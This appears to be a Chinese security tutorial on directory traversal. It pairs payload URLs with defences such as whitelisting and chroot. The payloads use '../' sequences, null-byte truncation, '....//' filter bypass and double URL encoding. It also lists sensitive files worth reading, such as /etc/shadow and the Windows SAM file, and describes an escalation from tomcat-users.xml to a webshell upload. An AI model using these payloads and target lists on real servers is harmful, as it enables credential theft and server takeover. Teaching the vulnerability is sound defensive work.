目录遍历Directory traversal(也称文件路径遍历、目录穿越、路径遍历、路径穿越)是一种允许攻击者在未授权的状态下读取应用服务上任意文件的安全漏洞。这包括应用代码、数据、凭证以及操作系统的敏感文件。在有些情况下,攻击者还可能对服务器里的文件进行任意写入,更改应用数据甚至完全控制服务器。
程序系统在实现上没有过滤用户输入的…/之类的目录跳转符,允许攻击者通过提交目录跳转符来遍历服务器上的任意文件。
比如:http://www.test.com/index.php?file=image1.jpg
当服务器处理传送过来的image1.jpg文件名后,Web应用程序会自动添加完整的路径,比如:c://test/static/imgs/image1.jpg
,然后web系统将读取的内容返回给攻击者。
若对文件名称的安全性验证不足,攻击者会使用../../../ect/passwd
的文件名,将会导致访问非授权文件资源。
根目录: “驱动器盘符:”
当前目录:“.”
目录分割符: “” or “/”
当前用户目录:“%homepath%”
跳转符:“…/”
根目录: “/”
当前目录:“.”
目录分割符: “/”
当前用户目录:“~”
跳转符:“…/”
根目录: “驱动器盘符:”
当前目录:“.”
目录分割符: “:”
当前用户目录:“~”
跳转符:“…/”
注意:在Windows系统中,攻击者只能访问Web根目录位于的分区中,而在Linux中可以访问整个磁盘。
比如:http://www.test.com/index.php?file=image1.jpg
,服务器拼接成c://test/static/imgs/image1.jpg
payload:
http://www.test.com/index.php?file=../imgs/image1.jpg
http://www.test.com/index.php?file=../../../../windows/win.ini
http://www.test.com/index.php?file=../../../../windows/win.ini%00.jpg
使用绝对路径,直接获取文件数据。
payload:
http://www.test.com/index.php?file=/etc/passwd
http://www.test.com/index.php?file=/etc/passwd%00.jpg
应对防御措施将"…/"替换为空。
payload:
http://www.test.com/index.php?file=....//imgs/image1.jpg
http://www.test.com/index.php?file=....//....//....//....//windows/win.ini
http://www.test.com/index.php?file=....//....//....//....//windows/win.ini%00.jpg
http://www.test.com/index.php?file=aW1hZ2UxLmpwZw==
参数file的数据采用Base64加密,而攻击中只需要将数据进行相应的解密即可入侵,采用一些常见、规律性的加密方式也是不安全的。
采用不同的编码进行过滤型绕过,比如通过对参数进行url编码提交来绕过。
. => %2e
/ => %2f
% => %25(双重编码)
注意:服务器会先进行url解码,再加上get协议本身会进行一次url解码,所以进行两次url编码
有些web软件通过限定目录权限来分离,攻击者可以通过某些特定的符号来绕过。
比如:根目录"/“被限定了权限,但是可以通过”~"来进入根目录下的目录。
当程序系统设置了后缀名检测的时候,可以通过"%00"截断来绕过。
比如:../windows/win.ini%00.jpg
等价于../windows/win.ini
在类Unix的系统中也可以使用Url编码的换行符%0a
,也可以尝试%20
。
需对用户提交的内容进行严格的过滤,这里主要指过滤目录跳转符、字符截断符、dir命令等,如“…/”和“~/”。
也就是限制用户请求资源,对于少量的文件(例如都是图像),写正则表达式批量规范请求资源的白名单。
对用户传过来的文件名参数进行统一编码,将所有字符转换成url编码,这样服务器不会解析成…/,对包含恶意字符或者空字符的参数进行拒绝。
文件路径保存至数据库,用户提交文件对应id访问文件,路径识别拼接都在后端。
控制返回数据,保证返回数据不会泄露任何和服务器相关的隐私数据。
web应用程序可以使用chroot环境包含被访问的web目录,或者使用绝对路径+参数来访问文件目录,即使越权也在访问目录之内。
nginx配置open_basedir=/home/wwwroot/blog.evalshell.com:/tmp/:/proc/
由chroot创造出的那个根目录,叫做“chroot监狱”(指通过chroot机制来更改某个进程所能看到的根目录,即将某进程限制在指定目录中),保证该进程只能对该目录及其子目录的文件有所动作,从而保证整个服务器的安全。
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
/etc/passwd #查看用户文件
/etc/shadow #查看密码文件,如果能读取该文件说明是root权限
/etc/httpd/conf/httpd.conf #查看apache的配置文件
/root/.bash_history #查看历史命令
/var/lib/mlocate/mlocate.db #本地所有文件信息
/etc/ssh/sshd_config #ssh配置文件,如果对外开放可看到端口
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/root/.ssh/known_hosts
/etc/httpd/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
/etc/redis.conf
利用该漏洞来读取Tomcat的tomcat-users.xml
配置文件,得到Tomcat管理页面的口令,登录后上传war包Geshell。可以通过读取.bash_history
文件来查看管理员的历史命令,来得到Tomcat的安装路径,从而得知tomcat-users.xml
的绝对路径。
参考链接:
https://portswigger.net/web-security/file-path-traversal
https://docs.microsoft.com/zh-cn/archive/blogs/jeremykuhne/path-normalization
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
https://mp.weixin.qq.com/s/7cnXMnskwAvMGwy40ab7hA
https://mp.weixin.qq.com/s/9I7O16gTcg0_pwc3quqMlw
http://blog.csdn.net/frozen_fish/article/details/2244870
https://blog.csdn.net/xiaoi123/article/details/80803390